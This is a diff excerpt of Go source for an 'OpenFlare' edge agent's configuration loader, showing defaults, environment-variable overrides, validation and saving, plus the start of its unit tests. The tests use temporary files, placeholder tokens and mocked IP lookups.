MMDBUpdateInterval MillisecondDuration `json:"mmdb_update_interval"`
|
||||
MMDBDownloadURL string `json:"mmdb_download_url"`
|
||||
CityMMDBDownloadURL string `json:"city_mmdb_download_url"`
|
||||
OpenrestyObservabilityPort int `json:"openresty_observability_port"`
|
||||
ObservabilityBufferPath string `json:"observability_buffer_path"`
|
||||
ObservabilityReplayMinutes int `json:"observability_replay_minutes"`
|
||||
StatePath string `json:"state_path"`
|
||||
HeartbeatInterval MillisecondDuration `json:"heartbeat_interval"`
|
||||
RequestTimeout MillisecondDuration `json:"request_timeout"`
|
||||
configPath string `json:"-"`
|
||||
NodeIPConfigured bool `json:"-"`
|
||||
}
|
||||
|
||||
type configFile struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
AccessToken string `json:"agent_token"`
|
||||
DiscoveryToken string `json:"discovery_token"`
|
||||
NodeName string `json:"node_name"`
|
||||
NodeIP string `json:"node_ip"`
|
||||
OpenrestyPath string `json:"openresty_path"`
|
||||
OpenrestyResolvers []string `json:"openresty_resolvers"`
|
||||
DataDir string `json:"data_dir"`
|
||||
MainConfigPath string `json:"main_config_path"`
|
||||
RouteConfigPath string `json:"route_config_path"`
|
||||
AccessLogPath string `json:"access_log_path"`
|
||||
CertDir string `json:"cert_dir"`
|
||||
OpenrestyCertDir string `json:"openresty_cert_dir"`
|
||||
LuaDir string `json:"lua_dir"`
|
||||
OpenrestyLuaDir string `json:"openresty_lua_dir"`
|
||||
RuntimeConfigDir string `json:"runtime_config_dir"`
|
||||
PagesDir string `json:"pages_dir"`
|
||||
MMDBPath string `json:"mmdb_path"`
|
||||
CityMMDBPath string `json:"city_mmdb_path"`
|
||||
MMDBUpdateInterval MillisecondDuration `json:"mmdb_update_interval"`
|
||||
MMDBDownloadURL string `json:"mmdb_download_url"`
|
||||
CityMMDBDownloadURL string `json:"city_mmdb_download_url"`
|
||||
OpenrestyObservabilityPort int `json:"openresty_observability_port"`
|
||||
ObservabilityBufferPath string `json:"observability_buffer_path"`
|
||||
ObservabilityReplayMinutes int `json:"observability_replay_minutes"`
|
||||
StatePath string `json:"state_path"`
|
||||
HeartbeatInterval MillisecondDuration `json:"heartbeat_interval"`
|
||||
RequestTimeout MillisecondDuration `json:"request_timeout"`
|
||||
}
|
||||
|
||||
func transferPersistedConfig(dst, src any) error {
|
||||
data, err := json.Marshal(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return json.Unmarshal(data, dst)
|
||||
}
|
||||
|
||||
// Load reads and parses the agent configuration file at the given path.
|
||||
func Load(path string) (*Config, error) {
|
||||
data, err := os.ReadFile(path) //nolint:gosec // path is the configured agent config location
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
return nil, err
|
||||
}
|
||||
file := &configFile{}
|
||||
if err == nil {
|
||||
if err = json.Unmarshal(data, file); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if err != nil && !hasEnvConfig() {
|
||||
return nil, err
|
||||
}
|
||||
cfg := &Config{}
|
||||
if err == nil {
|
||||
if err = transferPersistedConfig(cfg, file); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
cfg.configPath = path
|
||||
applyEnvOverrides(cfg)
|
||||
cfg.NodeIPConfigured = cfg.NodeIP != ""
|
||||
applyDefaults(cfg, filepath.Dir(path))
|
||||
if err = validate(cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func applyDefaults(cfg *Config, baseDir string) {
|
||||
baseDir = filepath.Clean(baseDir)
|
||||
cfg.Version = Version
|
||||
cfg.OpenrestyResolvers = ofutil.UniqueAndCleanStringSlice(cfg.OpenrestyResolvers)
|
||||
applyAgentIdentityDefaults(cfg)
|
||||
applyAgentPathDefaults(cfg, baseDir)
|
||||
applyAgentTimingDefaults(cfg)
|
||||
normalizeManagedPaths(cfg)
|
||||
}
|
||||
|
||||
func applyAgentIdentityDefaults(cfg *Config) {
|
||||
if cfg.OpenrestyPath == "" {
|
||||
cfg.OpenrestyPath = "openresty"
|
||||
}
|
||||
if cfg.NodeName == "" {
|
||||
cfg.NodeName = detectHostname()
|
||||
}
|
||||
if cfg.NodeIP == "" {
|
||||
cfg.NodeIP = nodeip.Detect()
|
||||
}
|
||||
}
|
||||
|
||||
func applyAgentPathDefaults(cfg *Config, baseDir string) {
|
||||
if cfg.DataDir == "" {
|
||||
cfg.DataDir = filepath.Join(baseDir, "data")
|
||||
}
|
||||
type managedPathDefault struct {
|
||||
target *string
|
||||
relative string
|
||||
}
|
||||
pathDefaults := []managedPathDefault{
|
||||
{&cfg.MainConfigPath, defaultMainConfigRelativePath},
|
||||
{&cfg.RouteConfigPath, defaultRouteConfigRelativePath},
|
||||
{&cfg.AccessLogPath, defaultAccessLogRelativePath},
|
||||
{&cfg.StatePath, defaultStateRelativePath},
|
||||
{&cfg.CertDir, defaultCertDirRelativePath},
|
||||
{&cfg.LuaDir, defaultLuaDirRelativePath},
|
||||
{&cfg.RuntimeConfigDir, defaultRuntimeConfigDirRelativePath},
|
||||
{&cfg.PagesDir, defaultPagesDirRelativePath},
|
||||
{&cfg.MMDBPath, defaultMMDBRelativePath},
|
||||
{&cfg.CityMMDBPath, defaultCityMMDBRelativePath},
|
||||
{&cfg.ObservabilityBufferPath, defaultObservabilityBufferRelativePath},
|
||||
}
|
||||
for _, item := range pathDefaults {
|
||||
if strings.TrimSpace(*item.target) == "" {
|
||||
*item.target = joinManagedPath(cfg.DataDir, item.relative)
|
||||
}
|
||||
}
|
||||
if cfg.OpenrestyCertDir == "" {
|
||||
cfg.OpenrestyCertDir = cfg.CertDir
|
||||
}
|
||||
if cfg.OpenrestyLuaDir == "" {
|
||||
cfg.OpenrestyLuaDir = cfg.LuaDir
|
||||
}
|
||||
}
|
||||
|
||||
func applyAgentTimingDefaults(cfg *Config) {
|
||||
if cfg.MMDBUpdateInterval <= 0 {
|
||||
cfg.MMDBUpdateInterval = MillisecondDuration(defaultMMDBUpdateInterval)
|
||||
}
|
||||
if cfg.MMDBDownloadURL == "" {
|
||||
cfg.MMDBDownloadURL = defaultMMDBDownloadURL
|
||||
}
|
||||
if cfg.CityMMDBDownloadURL == "" {
|
||||
cfg.CityMMDBDownloadURL = defaultCityMMDBDownloadURL
|
||||
}
|
||||
if cfg.OpenrestyObservabilityPort <= 0 {
|
||||
cfg.OpenrestyObservabilityPort = defaultOpenRestyObservabilityPort
|
||||
}
|
||||
if cfg.ObservabilityReplayMinutes <= 0 {
|
||||
cfg.ObservabilityReplayMinutes = defaultObservabilityReplayMinutes
|
||||
}
|
||||
if cfg.HeartbeatInterval <= 0 {
|
||||
cfg.HeartbeatInterval = MillisecondDuration(defaultHeartbeatInterval)
|
||||
}
|
||||
if cfg.RequestTimeout <= 0 {
|
||||
cfg.RequestTimeout = MillisecondDuration(defaultRequestTimeout)
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeManagedPaths(cfg *Config) {
|
||||
if cfg == nil {
|
||||
return
|
||||
}
|
||||
paths := []*string{
|
||||
&cfg.DataDir,
|
||||
&cfg.MainConfigPath,
|
||||
&cfg.RouteConfigPath,
|
||||
&cfg.AccessLogPath,
|
||||
&cfg.CertDir,
|
||||
&cfg.OpenrestyCertDir,
|
||||
&cfg.LuaDir,
|
||||
&cfg.OpenrestyLuaDir,
|
||||
&cfg.RuntimeConfigDir,
|
||||
&cfg.PagesDir,
|
||||
&cfg.StatePath,
|
||||
&cfg.ObservabilityBufferPath,
|
||||
&cfg.MMDBPath,
|
||||
&cfg.CityMMDBPath,
|
||||
}
|
||||
for _, p := range paths {
|
||||
if usesSlashPath(*p) {
|
||||
*p = filepath.ToSlash(*p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func hasEnvConfig() bool {
|
||||
for _, key := range []string{
|
||||
"OPENFLARE_SERVER_URL",
|
||||
"OPENFLARE_AGENT_TOKEN",
|
||||
"OPENFLARE_DISCOVERY_TOKEN",
|
||||
"OPENFLARE_NODE_NAME",
|
||||
"OPENFLARE_NODE_IP",
|
||||
"OPENFLARE_DATA_DIR",
|
||||
"OPENFLARE_OPENRESTY_PATH",
|
||||
"OPENFLARE_PAGES_DIR",
|
||||
"OPENFLARE_HEARTBEAT_INTERVAL",
|
||||
"OPENFLARE_REQUEST_TIMEOUT",
|
||||
"OPENFLARE_OPENRESTY_OBSERVABILITY_PORT",
|
||||
"OPENFLARE_MMDB_PATH",
|
||||
"OPENFLARE_MMDB_UPDATE_INTERVAL",
|
||||
"OPENFLARE_MMDB_DOWNLOAD_URL",
|
||||
"OPENFLARE_CITY_MMDB_PATH",
|
||||
"OPENFLARE_CITY_MMDB_DOWNLOAD_URL",
|
||||
} {
|
||||
if strings.TrimSpace(os.Getenv(key)) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func applyEnvOverrides(cfg *Config) {
|
||||
if cfg == nil {
|
||||
return
|
||||
}
|
||||
overrideString := func(key string, target *string) {
|
||||
if value := strings.TrimSpace(os.Getenv(key)); value != "" {
|
||||
*target = value
|
||||
}
|
||||
}
|
||||
overrideString("OPENFLARE_SERVER_URL", &cfg.ServerURL)
|
||||
overrideString("OPENFLARE_AGENT_TOKEN", &cfg.AccessToken)
|
||||
overrideString("OPENFLARE_DISCOVERY_TOKEN", &cfg.DiscoveryToken)
|
||||
overrideString("OPENFLARE_NODE_NAME", &cfg.NodeName)
|
||||
overrideString("OPENFLARE_NODE_IP", &cfg.NodeIP)
|
||||
overrideString("OPENFLARE_DATA_DIR", &cfg.DataDir)
|
||||
overrideString("OPENFLARE_OPENRESTY_PATH", &cfg.OpenrestyPath)
|
||||
overrideString("OPENFLARE_PAGES_DIR", &cfg.PagesDir)
|
||||
overrideString("OPENFLARE_MMDB_PATH", &cfg.MMDBPath)
|
||||
overrideString("OPENFLARE_MMDB_DOWNLOAD_URL", &cfg.MMDBDownloadURL)
|
||||
overrideString("OPENFLARE_CITY_MMDB_PATH", &cfg.CityMMDBPath)
|
||||
overrideString("OPENFLARE_CITY_MMDB_DOWNLOAD_URL", &cfg.CityMMDBDownloadURL)
|
||||
if value := strings.TrimSpace(os.Getenv("OPENFLARE_HEARTBEAT_INTERVAL")); value != "" {
|
||||
if duration, err := parseDurationValue(value); err == nil {
|
||||
cfg.HeartbeatInterval = duration
|
||||
}
|
||||
}
|
||||
if value := strings.TrimSpace(os.Getenv("OPENFLARE_REQUEST_TIMEOUT")); value != "" {
|
||||
if duration, err := parseDurationValue(value); err == nil {
|
||||
cfg.RequestTimeout = duration
|
||||
}
|
||||
}
|
||||
if value := strings.TrimSpace(os.Getenv("OPENFLARE_MMDB_UPDATE_INTERVAL")); value != "" {
|
||||
if duration, err := parseDurationValue(value); err == nil {
|
||||
cfg.MMDBUpdateInterval = duration
|
||||
}
|
||||
}
|
||||
if value := strings.TrimSpace(os.Getenv("OPENFLARE_OPENRESTY_OBSERVABILITY_PORT")); value != "" {
|
||||
var port int
|
||||
if _, err := fmt.Sscanf(value, "%d", &port); err == nil {
|
||||
cfg.OpenrestyObservabilityPort = port
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func parseDurationValue(value string) (MillisecondDuration, error) {
|
||||
trimmed := strings.TrimSpace(value)
|
||||
if trimmed == "" {
|
||||
return 0, nil
|
||||
}
|
||||
if parsed, err := time.ParseDuration(trimmed); err == nil {
|
||||
return MillisecondDuration(parsed), nil
|
||||
}
|
||||
ms, err := strconv.ParseInt(trimmed, 10, 64)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return MillisecondDuration(time.Duration(ms) * time.Millisecond), nil
|
||||
}
|
||||
|
||||
func usesSlashPath(path string) bool {
|
||||
return strings.HasPrefix(path, "/")
|
||||
}
|
||||
|
||||
func joinManagedPath(base string, relative string) string {
|
||||
if usesSlashPath(base) {
|
||||
return pathpkg.Join(filepath.ToSlash(base), relative)
|
||||
}
|
||||
return filepath.Join(base, relative)
|
||||
}
|
||||
|
||||
func validate(cfg *Config) error {
|
||||
if cfg.ServerURL == "" {
|
||||
return errors.New("server_url 不能为空")
|
||||
}
|
||||
if strings.TrimSpace(cfg.AccessToken) == "" && strings.TrimSpace(cfg.DiscoveryToken) == "" {
|
||||
return errors.New("agent_token 和 discovery_token 不能同时为空")
|
||||
}
|
||||
if cfg.NodeName == "" {
|
||||
return errors.New("node_name 不能为空")
|
||||
}
|
||||
if cfg.NodeIP == "" {
|
||||
return errors.New("node_ip 不能为空")
|
||||
}
|
||||
if cfg.OpenrestyObservabilityPort <= 0 || cfg.OpenrestyObservabilityPort > 65535 {
|
||||
return errors.New("openresty_observability_port 必须在 1-65535 之间")
|
||||
}
|
||||
if cfg.ObservabilityReplayMinutes <= 0 {
|
||||
return errors.New("observability_replay_minutes 必须大于 0")
|
||||
}
|
||||
if cfg.MMDBUpdateInterval <= 0 {
|
||||
return errors.New("mmdb_update_interval 必须大于 0")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// InitialAuthToken returns the agent access token, falling back to the discovery token if absent.
|
||||
func (cfg *Config) InitialAuthToken() string {
|
||||
if cfg == nil {
|
||||
return ""
|
||||
}
|
||||
if token := strings.TrimSpace(cfg.AccessToken); token != "" {
|
||||
return token
|
||||
}
|
||||
return strings.TrimSpace(cfg.DiscoveryToken)
|
||||
}
|
||||
|
||||
func (cfg *Config) toConfigFile() configFile {
|
||||
var file configFile
|
||||
if err := transferPersistedConfig(&file, cfg); err != nil {
|
||||
return configFile{}
|
||||
}
|
||||
return file
|
||||
}
|
||||
|
||||
// Save persists the current configuration back to its original file path.
|
||||
func (cfg *Config) Save() error {
|
||||
if cfg == nil {
|
||||
return errors.New("config 不能为空")
|
||||
}
|
||||
if cfg.configPath == "" {
|
||||
return errors.New("config path 未初始化")
|
||||
}
|
||||
data, err := json.MarshalIndent(cfg.toConfigFile(), "", " ") //nolint:gosec // agent token must be persisted in local config file
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(cfg.configPath, data, configFilePerm)
|
||||
}
|
||||
|
||||
func detectHostname() string {
|
||||
host, err := os.Hostname()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(host)
|
||||
}
|
||||
@@ -0,0 +1,559 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package config
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/share/edge/nodeip"
|
||||
"Wavelet/openflare/share/geoip"
|
||||
"Wavelet/openflare/share/geoip/iputil"
|
||||
)
|
||||
|
||||
func TestLoadDefaultsToManagedBinaryPaths(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
payload := map[string]any{
|
||||
"server_url": "http://127.0.0.1:3000",
|
||||
"agent_token": "token",
|
||||
"node_name": "edge-01",
|
||||
"node_ip": "10.0.0.8",
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to marshal config: %v", err)
|
||||
}
|
||||
if err = os.WriteFile(configPath, data, 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
|
||||
if cfg.DataDir != filepath.Join(dir, "data") {
|
||||
t.Fatalf("unexpected data dir: %s", cfg.DataDir)
|
||||
}
|
||||
if cfg.OpenrestyPath != "openresty" {
|
||||
t.Fatalf("unexpected openresty path: %s", cfg.OpenrestyPath)
|
||||
}
|
||||
if cfg.MainConfigPath != filepath.Join(dir, "data", defaultMainConfigRelativePath) {
|
||||
t.Fatalf("unexpected main config path: %s", cfg.MainConfigPath)
|
||||
}
|
||||
if cfg.RouteConfigPath != filepath.Join(dir, "data", defaultRouteConfigRelativePath) {
|
||||
t.Fatalf("unexpected route config path: %s", cfg.RouteConfigPath)
|
||||
}
|
||||
if cfg.AccessLogPath != filepath.Join(dir, "data", defaultAccessLogRelativePath) {
|
||||
t.Fatalf("unexpected access log path: %s", cfg.AccessLogPath)
|
||||
}
|
||||
if cfg.CertDir != filepath.Join(dir, "data", defaultCertDirRelativePath) {
|
||||
t.Fatalf("unexpected cert dir: %s", cfg.CertDir)
|
||||
}
|
||||
if cfg.LuaDir != filepath.Join(dir, "data", defaultLuaDirRelativePath) {
|
||||
t.Fatalf("unexpected lua dir: %s", cfg.LuaDir)
|
||||
}
|
||||
if cfg.RuntimeConfigDir != filepath.Join(dir, "data", defaultRuntimeConfigDirRelativePath) {
|
||||
t.Fatalf("unexpected runtime config dir: %s", cfg.RuntimeConfigDir)
|
||||
}
|
||||
if cfg.CityMMDBPath != filepath.Join(dir, "data", defaultCityMMDBRelativePath) {
|
||||
t.Fatalf("unexpected city mmdb path: %s", cfg.CityMMDBPath)
|
||||
}
|
||||
if cfg.CityMMDBDownloadURL != defaultCityMMDBDownloadURL {
|
||||
t.Fatalf("unexpected city mmdb download URL: %s", cfg.CityMMDBDownloadURL)
|
||||
}
|
||||
if cfg.OpenrestyCertDir != cfg.CertDir {
|
||||
t.Fatalf("unexpected openresty cert dir: %s", cfg.OpenrestyCertDir)
|
||||
}
|
||||
if cfg.OpenrestyLuaDir != cfg.LuaDir {
|
||||
t.Fatalf("unexpected openresty lua dir: %s", cfg.OpenrestyLuaDir)
|
||||
}
|
||||
if cfg.StatePath != filepath.Join(dir, "data", defaultStateRelativePath) {
|
||||
t.Fatalf("unexpected state path: %s", cfg.StatePath)
|
||||
}
|
||||
if cfg.ObservabilityBufferPath != filepath.Join(dir, "data", defaultObservabilityBufferRelativePath) {
|
||||
t.Fatalf("unexpected observability buffer path: %s", cfg.ObservabilityBufferPath)
|
||||
}
|
||||
if cfg.OpenrestyObservabilityPort != defaultOpenRestyObservabilityPort {
|
||||
t.Fatalf("unexpected openresty observability port: %d", cfg.OpenrestyObservabilityPort)
|
||||
}
|
||||
if cfg.ObservabilityReplayMinutes != defaultObservabilityReplayMinutes {
|
||||
t.Fatalf("unexpected observability replay minutes: %d", cfg.ObservabilityReplayMinutes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadPathModeKeepsExplicitPaths(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
payload := map[string]any{
|
||||
"server_url": "http://127.0.0.1:3000",
|
||||
"agent_token": "token",
|
||||
"node_name": "edge-01",
|
||||
"node_ip": "10.0.0.8",
|
||||
"openresty_path": "/usr/local/openresty/nginx/sbin/openresty",
|
||||
"main_config_path": "/tmp/nginx.conf",
|
||||
"route_config_path": "/tmp/routes.conf",
|
||||
"state_path": "/tmp/agent-state.json",
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to marshal config: %v", err)
|
||||
}
|
||||
if err = os.WriteFile(configPath, data, 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
|
||||
if cfg.MainConfigPath != "/tmp/nginx.conf" {
|
||||
t.Fatalf("unexpected main config path: %s", cfg.MainConfigPath)
|
||||
}
|
||||
if cfg.RouteConfigPath != "/tmp/routes.conf" {
|
||||
t.Fatalf("unexpected route config path: %s", cfg.RouteConfigPath)
|
||||
}
|
||||
if cfg.StatePath != "/tmp/agent-state.json" {
|
||||
t.Fatalf("unexpected state path: %s", cfg.StatePath)
|
||||
}
|
||||
if cfg.ObservabilityBufferPath != filepath.Join(dir, "data", defaultObservabilityBufferRelativePath) {
|
||||
t.Fatalf("unexpected observability buffer path: %s", cfg.ObservabilityBufferPath)
|
||||
}
|
||||
if cfg.OpenrestyCertDir != cfg.CertDir {
|
||||
t.Fatalf("expected path mode openresty cert dir to equal cert dir, got %s / %s", cfg.OpenrestyCertDir, cfg.CertDir)
|
||||
}
|
||||
if cfg.OpenrestyLuaDir != cfg.LuaDir {
|
||||
t.Fatalf("expected path mode openresty lua dir to equal lua dir, got %s / %s", cfg.OpenrestyLuaDir, cfg.LuaDir)
|
||||
}
|
||||
if cfg.OpenrestyObservabilityPort != defaultOpenRestyObservabilityPort {
|
||||
t.Fatalf("unexpected path mode openresty observability port: %d", cfg.OpenrestyObservabilityPort)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadNormalizesExplicitResolvers(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
payload := map[string]any{
|
||||
"server_url": "http://127.0.0.1:3000",
|
||||
"agent_token": "token",
|
||||
"node_name": "edge-01",
|
||||
"node_ip": "10.0.0.8",
|
||||
"openresty_resolvers": []string{" 10.0.0.2 ", "10.0.0.2", "", "1.1.1.1"},
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to marshal config: %v", err)
|
||||
}
|
||||
if err = os.WriteFile(configPath, data, 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
|
||||
expected := []string{"10.0.0.2", "1.1.1.1"}
|
||||
if len(cfg.OpenrestyResolvers) != len(expected) {
|
||||
t.Fatalf("unexpected resolver count: %#v", cfg.OpenrestyResolvers)
|
||||
}
|
||||
for index, value := range expected {
|
||||
if cfg.OpenrestyResolvers[index] != value {
|
||||
t.Fatalf("unexpected resolver at %d: got %q want %q", index, cfg.OpenrestyResolvers[index], value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadUsesCustomDataDirForGeneratedFiles(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
payload := map[string]any{
|
||||
"server_url": "http://127.0.0.1:3000",
|
||||
"agent_token": "token",
|
||||
"node_name": "edge-01",
|
||||
"node_ip": "10.0.0.8",
|
||||
"data_dir": "/srv/openflare",
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to marshal config: %v", err)
|
||||
}
|
||||
if err = os.WriteFile(configPath, data, 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
|
||||
if cfg.RouteConfigPath != "/srv/openflare/"+defaultRouteConfigRelativePath {
|
||||
t.Fatalf("unexpected route config path: %s", cfg.RouteConfigPath)
|
||||
}
|
||||
if cfg.MainConfigPath != "/srv/openflare/"+defaultMainConfigRelativePath {
|
||||
t.Fatalf("unexpected main config path: %s", cfg.MainConfigPath)
|
||||
}
|
||||
if cfg.AccessLogPath != "/srv/openflare/"+defaultAccessLogRelativePath {
|
||||
t.Fatalf("unexpected access log path: %s", cfg.AccessLogPath)
|
||||
}
|
||||
if cfg.StatePath != "/srv/openflare/"+defaultStateRelativePath {
|
||||
t.Fatalf("unexpected state path: %s", cfg.StatePath)
|
||||
}
|
||||
if cfg.ObservabilityBufferPath != "/srv/openflare/"+defaultObservabilityBufferRelativePath {
|
||||
t.Fatalf("unexpected observability buffer path: %s", cfg.ObservabilityBufferPath)
|
||||
}
|
||||
if cfg.CertDir != "/srv/openflare/"+defaultCertDirRelativePath {
|
||||
t.Fatalf("unexpected cert dir: %s", cfg.CertDir)
|
||||
}
|
||||
if cfg.LuaDir != "/srv/openflare/"+defaultLuaDirRelativePath {
|
||||
t.Fatalf("unexpected lua dir: %s", cfg.LuaDir)
|
||||
}
|
||||
if cfg.RuntimeConfigDir != "/srv/openflare/"+defaultRuntimeConfigDirRelativePath {
|
||||
t.Fatalf("unexpected runtime config dir: %s", cfg.RuntimeConfigDir)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadUsesEnvConfigWhenFileIsMissing(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
t.Setenv("OPENFLARE_SERVER_URL", "http://127.0.0.1:3000")
|
||||
t.Setenv("OPENFLARE_AGENT_TOKEN", "token")
|
||||
t.Setenv("OPENFLARE_NODE_NAME", "edge-env")
|
||||
t.Setenv("OPENFLARE_NODE_IP", "10.0.0.9")
|
||||
t.Setenv("OPENFLARE_DATA_DIR", "/srv/openflare-env")
|
||||
t.Setenv("OPENFLARE_OPENRESTY_PATH", "/usr/bin/openresty")
|
||||
t.Setenv("OPENFLARE_HEARTBEAT_INTERVAL", "45s")
|
||||
t.Setenv("OPENFLARE_REQUEST_TIMEOUT", "2500")
|
||||
t.Setenv("OPENFLARE_OPENRESTY_OBSERVABILITY_PORT", "19091")
|
||||
|
||||
cfg, err := Load(filepath.Join(dir, "missing-agent.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
if cfg.ServerURL != "http://127.0.0.1:3000" || cfg.AccessToken != "token" {
|
||||
t.Fatalf("unexpected env auth config: %#v", cfg)
|
||||
}
|
||||
if cfg.OpenrestyPath != "/usr/bin/openresty" {
|
||||
t.Fatalf("unexpected openresty path: %s", cfg.OpenrestyPath)
|
||||
}
|
||||
if cfg.DataDir != "/srv/openflare-env" {
|
||||
t.Fatalf("unexpected data dir: %s", cfg.DataDir)
|
||||
}
|
||||
if cfg.HeartbeatInterval.Duration() != 45*time.Second {
|
||||
t.Fatalf("unexpected heartbeat interval: %s", cfg.HeartbeatInterval)
|
||||
}
|
||||
if cfg.RequestTimeout.Duration() != 2500*time.Millisecond {
|
||||
t.Fatalf("unexpected request timeout: %s", cfg.RequestTimeout)
|
||||
}
|
||||
if cfg.OpenrestyObservabilityPort != 19091 {
|
||||
t.Fatalf("unexpected observability port: %d", cfg.OpenrestyObservabilityPort)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadDetectsOutboundIPWhenNodeIPMissing(t *testing.T) {
|
||||
nodeip.ResetCacheForTest()
|
||||
previousLookup := nodeip.LookupOutboundIP
|
||||
nodeip.LookupOutboundIP = func(ctx context.Context, strategies ...geoip.OutboundIPStrategy) (net.IP, error) {
|
||||
return net.ParseIP("8.8.8.8"), nil
|
||||
}
|
||||
defer func() {
|
||||
nodeip.LookupOutboundIP = previousLookup
|
||||
nodeip.ResetCacheForTest()
|
||||
}()
|
||||
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
payload := map[string]any{
|
||||
"server_url": "http://127.0.0.1:3000",
|
||||
"agent_token": "token",
|
||||
"node_name": "edge-01",
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to marshal config: %v", err)
|
||||
}
|
||||
if err = os.WriteFile(configPath, data, 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
if cfg.NodeIP != "8.8.8.8" {
|
||||
t.Fatalf("expected outbound IP, got %s", cfg.NodeIP)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadFallsBackToLocalIPWhenOutboundLookupFails(t *testing.T) {
|
||||
nodeip.ResetCacheForTest()
|
||||
previousOutboundLookup := nodeip.LookupOutboundIP
|
||||
previousLocalLookup := nodeip.LookupLocalIP
|
||||
nodeip.LookupOutboundIP = func(ctx context.Context, strategies ...geoip.OutboundIPStrategy) (net.IP, error) {
|
||||
return nil, errors.New("realip.cc unavailable")
|
||||
}
|
||||
nodeip.LookupLocalIP = func() string {
|
||||
return "9.9.9.9"
|
||||
}
|
||||
defer func() {
|
||||
nodeip.LookupOutboundIP = previousOutboundLookup
|
||||
nodeip.LookupLocalIP = previousLocalLookup
|
||||
nodeip.ResetCacheForTest()
|
||||
}()
|
||||
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
payload := map[string]any{
|
||||
"server_url": "http://127.0.0.1:3000",
|
||||
"agent_token": "token",
|
||||
"node_name": "edge-01",
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to marshal config: %v", err)
|
||||
}
|
||||
if err = os.WriteFile(configPath, data, 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := Load(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Load failed: %v", err)
|
||||
}
|
||||
if cfg.NodeIP != "9.9.9.9" {
|
||||
t.Fatalf("expected local fallback IP, got %s", cfg.NodeIP)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadEnvOverridesConfigFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
configPath := filepath.Join(dir, "agent.json")
|
||||
if err := os.WriteFile(configPath, []byte(`{"server_url":"http://old:3000","agent_token":"old","node_name":"edge-01","node_ip":"10.0.0.8","openresty_path":"/old/openresty"}`), 0o644); err != nil {
|
||||
t.Fatalf("failed to write config: %v", err)
|
||||
}
|
||||
t.Setenv("OPENFLARE_SERVER_URL", "http://new:3000")
|
||||
t.Setenv("OPENFLARE_AGENT_TOKEN", "new-token")
|
||||
t.Setenv("OPENFLARE_OPENRESTY_PATH", "/new/openresty")
|
||||
